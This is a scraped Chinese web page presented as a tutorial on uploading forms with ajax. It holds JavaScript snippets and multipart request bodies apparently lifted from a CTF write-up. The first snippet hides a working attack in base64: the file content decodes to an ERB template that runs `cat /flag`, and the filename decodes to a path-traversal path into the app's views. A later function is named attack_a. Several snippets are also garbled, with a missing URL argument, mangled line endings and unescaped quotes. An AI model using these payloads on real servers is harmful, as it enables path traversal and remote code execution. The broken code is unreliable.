加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 百科 > 正文

ajax上传表单的俩种方式

发布时间:2020-12-16 03:00:28 所属栏目:百科 来源:网络整理
导读:1.用h5对象上传表单(图片) var formData = new FormData(); formData.append( "authenticity_token",‘1212121212‘ ); formData.append( "file[context]","zxcvxzcvxzcv" ); var content = ‘PCU9IGBjYXQgL2ZsYWcgYCAlPg==‘; // 这是文件内容的base64 va

1.用h5对象上传表单(图片)

    var formData = new FormData();
    formData.append("authenticity_token",‘1212121212‘);
    formData.append("file[context]","zxcvxzcvxzcv");
    var content = ‘PCU9IGBjYXQgL2ZsYWcgYCAlPg==‘;   //这是文件内容的base64
    var blob = new Blob([content],{ type: "image/png"});
    formData.append("file[myfile]",blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi");  //这里是文件名的base64
    formData.append("commit",‘submit‘);
    var request = new XMLHttpRequest();
    request.open("POST","https://xz.aliyun.com/t/3245");
    request.send(formData);

请求体

------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="authenticity_token"

1212121212
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[context]"

zxcvxzcvxzcv
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="file[myfile]"; filename="Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"
Content-Type: image/png

PCU9IGBjYXQgL2ZsYWcgYCAlPg==
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2
Content-Disposition: form-data; name="commit"

submit
------WebKitFormBoundaryKUQ7zZnBZ9d5xKT2--

1.用h5对象上传表单(txt)

    var formData = new FormData();
    var content = ‘testestestes‘;   //这是文件内容的base64
    var blob = new Blob([content],{ type: "text/plain"});
    formData.append("file[myfile]","haha.txt");  //这里是文件名的base64
    formData.append("commit","https://xz.aliyun.com/t/3245");
    request.send(formData);

请求体

------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="file[myfile]"; filename="haha.txt"
Content-Type: text/plain

testestestes
------WebKitFormBoundaryFcFYtbPnXsiq8yjI
Content-Disposition: form-data; name="commit"

submit
------WebKitFormBoundaryFcFYtbPnXsiq8yjI--

2.使用原生js上传表单数据

通过余弦这个网站辅助生成表单

xhr = function(){
  /*AJAX*/
  var request = false;
  if(window.XMLHttpRequest) {
    request = new XMLHttpRequest();
  } else if(window.ActiveXObject) {
    try {
      request = new window.ActiveXObject(‘Microsoft.XMLHTTP‘);
    } catch(e) {}
  }
  return request;
}();

request = function(method,src,argv,content_type){
  xhr.open(method,false);
  if(method==‘POST‘)xhr.setRequestHeader(‘Content-Type‘,content_type);
  xhr.send(argv);
  return xhr.responseText;
}

attack_a = function(){
  var src = "https://xz.aliyun.com";
  var authenticity_token = "1212121212";
  var file = "zxcvxzcvxzcv";
  var argv_0 = "rn";
  argv_0 += "---------------------7964f8dddeb95fc5rnContent-Disposition: form-data; name="authenticity_token"rnrn";
  argv_0 += (authenticity_token+"rn");
  argv_0 += "---------------------7964f8dddeb95fc5rnContent-Disposition: form-data; name="file"rnrn";
  argv_0 += (file+"rn");
  argv_0 += "---------------------7964f8dddeb95fc5--rn";
  request("POST",argv_0,"multipart/form-data; boundary=-------------------7964f8dddeb95fc5");
}

请求体:

---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="authenticity_token"

1212121212
---------------------7964f8dddeb95fc5
Content-Disposition: form-data; name="file"

zxcvxzcvxzcv
---------------------7964f8dddeb95fc5--

?

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读